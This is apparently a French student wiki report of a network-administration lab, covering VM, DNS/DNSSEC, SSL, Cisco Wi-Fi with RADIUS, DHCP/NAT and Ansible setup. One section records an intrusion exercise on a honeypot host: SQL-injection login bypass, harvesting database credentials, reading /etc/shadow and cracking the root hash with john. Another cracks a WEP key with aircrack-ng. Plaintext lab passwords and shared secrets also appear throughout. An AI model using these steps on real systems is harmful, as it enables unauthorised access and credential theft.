TP sysres IMA5sc 2020/2021 G7

De Wiki d'activités IMA
Révision datée du 18 décembre 2020 à 18:58 par Cbisalli (discussion | contributions) (Playbook et roles)

Explication Infrastructure

Installation VM

Connexion ssh:

ssh pifou@capbreton.plil.info

Commande (en root su -):

xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force


MAJ gateway : 161
Nom de domaine: girolle.site
Adresse IP : 100.64.0.24 MAJ: 193.48.57.172
Netmask: 255.255.255.240 MAJ: 255.255.255.224
Adresse MAC : 00:16:3E:3E:E3:15

Repartition des volumes logiques :

lvdisplay 
lvrename 

Dans le fichier de configuration de la machine : girolle.cfg on rajoute var et home : lignes 'phy:/.../xdva3'


Commandes pour creer et acceder a la VM :

xl create -c etc/xen/girolle.cfg
xl console girolle

Commandes sur la vm:

dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4

au prealable il faut


1) formater la partition :

mkfs -t ext4 /dev/xvda4

2) Monter la partition que l'on veut sur /mnt

mount /dev/xvda4 /mnt

3) Migrer tout le contenu de var dans mnt

cd /var
mv * /mnt

4) Dans le fichier fstab rajouter :

/dev/xvda4 /var ext4 defaults 0 2

5) Unmout mnt

umount /mnt

6) Monter tout sur dev/xdva

mount -a 

7)Verification

df
dpkg -l

Activation connexion ssh

On modifie le fichier /etc/ssh/sshd_config

On décommente la ligne PermissionRoot :

# Authentication:
#LoginGraceTime 2m
PermitRootLogin yes

Puis on l'active avec la commande :

service sshd restart

On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)

Redirection DNS

Sur Gandi

Achat d'un nom de domaine : girolle.site Création d'un Glue Record : 193.48.57.182

Serveur DNS primaire : ns1.girolle.site (193.48.57.182) Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)

Sur la machine virtuelle

Installation de bind9 On modifie les fichiers dans /etc/bind/named.conf. Dans /etc/bind/named.conf.options

options {
  directory "/etc/bind";
  listen-on-v6 { any; };
  allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
  217.70.177.40/32 ;
};

Dans /etc/bind/named.conf.local

zone "girolle.site" {
  type master;
  file "girolle.site/girolle";
  allow-transfer (217.70.177.40;};
};

Dans db.girolle.site

;
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(
                             2         ; Serial
                        604800         ; Refresh
                         86400         ; Retry
                       2419200         ; Expire
                        604800 )       ; Negative Cache TTL
;
@       IN      NS      ns1.girolle.site.
@       IN      NS      ns6.gandi.net.
ns1     IN      A       193.48.57.182
@       IN      MX      100 girolle.site.
www      IN      CNAME   ns1

Puis pour le relancer :

service bind9 restart


Configuration pour la réception du mail de confirmation du certificat SSL Installer Postfixe pour avoir accès au fichier aliases

Internet Site
girolle.site

Dans /etc/aliases

admin: root

Puis ajouter dans newaliases Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site

https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using


Installation de mailx pour lire les mails reçus

apt-install bsd-mailx

Pour consulter le mail de vérification

mailx admin

Sécurisation par certificat SSL

Génération du CSR à l'aide d'openssl

openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr

Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt

Configuration du serveur apache2

Activation du ssl sur apache2

ae2enmod ssl

Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available <VirtualHost *:80>

 ServerName www.girolle.site                                                                                             
 Redirect / https://www.girolle.site       
 ....                                                                        

</VirtualHost>

<VirtualHost 193.48.57.182:443>
    DocumentRoot /var/www/html2
    ServerName girolle.site
        SSLEngine on
        SSLCertificateFile /root/girolle.site.crt
        SSLCertificateKeyFile /root/girolle.site.key
        SSLCertificateChainFile /root/GandiCA.pem
    </VirtualHost>

verifications:

host -t soa girolle.site ns6.gandi.net
Sur Zabeth : host www.girolle.site

Sécurisation de serveur DNS par DNSSEC

On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées: Une clef asymétrique de signature de clefs de zone

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site
 

Une clef asymétrique de la zone pour signer les enregistrements

dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site

On renomme les deux paires de clés de la façon suivante :

Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private
Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private

On inclue en les clefs publiques dans le fichier de zone db.girolle.site :

$include /etc/bind/girolle_dnssec/<nom_de_zone>-ksk.key
$include /etc/bind/girolle_dnssec/<nom_de_zone>-zsk.key

On signe les enregistrement de la zone avec la commande

dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk

Dans /etc/bind/named.conf.local on modifie la zone :

zone "girolle.site" IN {
 type master;
 file "/etc/bind/db.girolle.site.signed";
 allow-transfer {227.70.177.40;};
};   


Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).

On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.

Girolle.jpg

Configuration des bornes Wi-Fi

Borne classique : Cisco - AIR-CAP1602I-E-K9

Configuration IOS en CLI :

aaa new-model
!
!
aaa group server radius radius_girolle
server 193.48.57.182 auth-port 1812 acct-port 1813
!
aaa authentication login eap_group1 group radius_group1
aaa authentication login eap_girolle group radius_girolle
!         
dot11 ssid SSID_GIROLLE
   vlan 107
   authentication open eap eap_girolle 
   authentication network-eap eap_girolle 
   authentication key-management wpa
!
!
...
interface Dot11Radio0
 encryption vlan 101 mode ciphers aes-ccm tkip


...
interface BVI1
ip address 10.60.100.10 255.255.255.0
!
radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22


10.60.100.10 : adresse IP fixe du point d'accès


Commandes et verifications /

ap(config)#interface BVI1
ap(config-if)# ip address 10.60.100.10 255.255.255.0
ap(config-if)#exit
ap#write
PING ROUTEUR 1 POUR VERIFIER LA CONNEXION
ap#ping 10.60.100.2 
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:
.!!!!
Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms

test second routeur : ne fonctionne pas car pas d'addresse ip

ap#ping 10.60.100.1
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:
.....
Success rate is 0 percent (0/5)

Configurer l'adresse par defaut:

ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2
ap(config)#exit
ap#sh ip route


Test ping notre machine virtuelle girolle :

ap#ping 193.48.57.182
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms

Sécurisation

On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.

wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7
wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7
wifi-ima5sc(config)# aaa group server radius radius_group7
wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813
wifi-ima5sc(config)# dot11 ssid SSID_GROUP7
wifi-ima5sc(config-radius)# mbssid guest-mode
wifi-ima5sc(config-radius)# vlan 307
wifi-ima5sc(config-radius)# authentication open eap eap_group7
wifi-ima5sc(config-radius)# authentication network-eap eap_group7
wifi-ima5sc(config-radius)# authentication key-management wpa
wifi-ima5sc(config)# int Dot11Radio0
wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip
wifi-ima5sc(config-if)# mbssid
wifi-ima5sc(config)# ssid SSID_GROUP7
wifi-ima5sc(config-subif)# int dot11radio0.7
wifi-ima5sc(config-subif)# encapsulation dot1q 307
wifi-ima5sc(config-subif)# bridge-group 7
wifi-ima5sc(config)# int Gi0.7
wifi-ima5sc(config-subif)# encapsulation dot1q 307
wifi-ima5sc(config-subif)# bridge-group 7

FreeRadius

Dans /etc/freeradius/3.0/users

pifou Cleartext-Password := "pasglop"

Dans /etc/freeradius/3.0/client.conf

client girolle_wifi {
    ipaddr = 10.60.100.10
    secret = secret_group7
}

Dans /etc/freeradius/3.0/mods-enabled/eap

default_eap_type = peap

Finalement on lance la commande freeradius -X

DHCP et mascarade

On doit implanter une fonction de serveur DHCP sur les deux routeurs.

Pour le 6509E :

IMA5sc-R1(config)#ip dhcp pool groupe7
IMA5sc-R1(dhcp-config)#dns 193.48.57.182
IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0
IMA5sc-R1(dhcp-config)#default-router 10.60.107.1
IMA5sc-R1(dhcp-config)#exit
IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99
IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255
IMA5sc-R1(config)#exit
IMA5sc-R1#sh ip dhcp binding
IMA5sc-R1#ping 193.48.57.182

Le ping fonctionne.

Pour le C9200 :

IMA5sc-R2(config)#ip dhcp pool groupe7
IMA5sc-R2(dhcp-config)#dns 193.48.57.182
IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0
IMA5sc-R2(dhcp-config)#default-router 10.60.107.2
IMA5sc-R2(dhcp-config)#exit
IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49
IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255
IMA5sc-R2(config)#exit
IMA5sc-R2#sh ip dhcp binding

Mise en place de la mascarade (vlan131 -> vlan pour se connecter au routeur):

IMA5sc-R1(config)# int vlan 307
IMA5sc-R1(config-if)# ip nat inside
IMA5sc-R1(config)# int vlan 131
IMA5sc-R1(config-if)# ip nat outside
IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any
IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload


Création du vlan sur les routeurs

vlan 307

Configuration WLC

Utilisation de bornes Cisco 2802i

Connection via minicom -os (9600 bauds)

enable 
capwap ap ip <ip> <netmask> <gateway>

Intrusion honey.plil.info

pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1

Admin : admin jesuislechef admin Administrateur

Creer le fichier etc/phpmyadmin/config-db.php en allant dans l'onglet: .... on telecharge le fichier qu'on a crée :

<?php
##
## database access settings in php format
## automatically generated from /etc/dbconfig-common/phpmyadmin.conf
## by /usr/sbin/dbconfig-generate-include
##
## by default this file is managed via ucf, so you shouldn't have to
## worry about manual changes being silently discarded.  *however*,
## you'll probably also want to edit the configuration file mentioned
## above too.
##
$dbuser='phpmyadmin';
$dbpass='gencovid19';
$basepath=;
$dbname='phpmyadmin';
$dbserver='localhost';
$dbport='3306';
$dbtype='mysql';

on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ connexion id : root mdp: gencovid19

une fois connecter on recherche les identifiants des utilisateurs ssh : id = rex mdp:

connexion ssh : ssh rex@honey.plil.info

/etc/shadow pour trouver la cle de cryptage du mdp root 
copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::
installation de john 
john nom du fichier

pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets' utiliseer crunch?

Cassage de clef WEP d’un point d’accès WiFi

On utilise le paquet aircrack-ng.

La commande

airmon-ng

permet de voir le nom du réseau sans fil: wlan0mon

airmon-ng start wlan0mon

On scanne les réseaux :

airodump-ng --encrypte wep wlan0mon

On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.

Capturewep1.png

On lance avec la commande :

airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon
aircrack-ng -z testwep-01.cap

Capturewep2.png

Ferme de serveurs web

On travaille avec deux machines virtuelles. Une VM sur le serveur capbreton (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP 192.186.42.21. La seconde sur le serveur chassiron d'IP 192.168.42.7.

On ferme la machine virtuelle sur capbreton (halt) pour modifier le fichier de configuration girolle.cfg. On ajoute à la ligne vif 'mac=@MAC incrémenté de 1, bridge=bridgeStudents'

On relance, le ping entre leux deux machine se fait.

Mise en place de la mascarade pour que la VM sur chassiron ait accès à internet :

iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32
iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182
iptables-save
echo 1 > /proc/sys/net/ipv4/ip_forward

Installation d'ansible sur la VM de capbreton. Création des clés avec la commande ssh-keygen -t rsa

On ajoute la clé public sur toutes les machines de chassiron :

cat id_rsa.pub | ssh root@192.168.42.7 'cat >> .ssh/authorized_keys2'

Installation de Python sur la VM de chassiron (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).

apt install python3
ln -sf /usr/bin/python3 /usr/bin/python

L'utilitaire ansible permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur capbreton.

Inventaire

Sur capbreton, on crée un inventaire dans /etc/ansible/hosts. en séparant notre serveur seul des autres (dont le notre).

[self]
192.168.42.7
[webinterne]
192.168.42.2
192.168.42.4
192.168.42.5
192.168.42.7
192.168.42.9
192.168.42.12

Playbook et roles

On crée 4 rôles différents qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.

Rôle basic :

  • files qui contient la configuration mymotd_conf et ntp.conf
    • mymotd_conf : On met ce que l'on veut afficher dedans
    • ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP
# You do need to talk to an NTP server or two (or three).
#server ntp.your-provider.example
server ntp.plil.info
...
# Local users may interrogate the ntp server more closely.
restrict 127.0.0.1
restrict ::1
restrict 192.168.42.21
restrict 192.168.42.7
  • tasks qui contient un main.yml
- name : gestion packages
  apt:
    update_cache: yes
    name: "{{ packages } }"
  vars:
    packages:
     - python3
     - python3-pip
     - ntpdate
     - ntp

- name : gestion packages pip
  pip:
     name:
        - docker
- name: lien symbolique
  command: ln -sf /usr/bin/python3 /usr/bin/python

- name: motd
  copy:
     src: /etc/ansible/roles/basic/files/mymotd_conf
     dest: /etc/motd
     owner: root
     group: root
     mode: '0644' 
- name: config ntp
  copy:
     src: /etc/ansible/roles/basic/files/ntp.conf
     dest: /etc/ntp.conf
     owner: root
     group: root
     mode: '0644'


Rôle dock :

Rôle registry :

Rôle deployer :

Playbook first_play.yml :

---
- name: Premiere playbook
  hosts: self
  roles:
    - basic 
    - geerlingguy.docker
    - registry
  vars:
    docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
    docker_apt_repository: "deb [arch=Modèle:Docker apt arch] https://download.docker.com/linux/debian buster Modèle:Docker apt release channel"    


- name: Deploiement
  hosts: webinterne
  roles:
     - deployer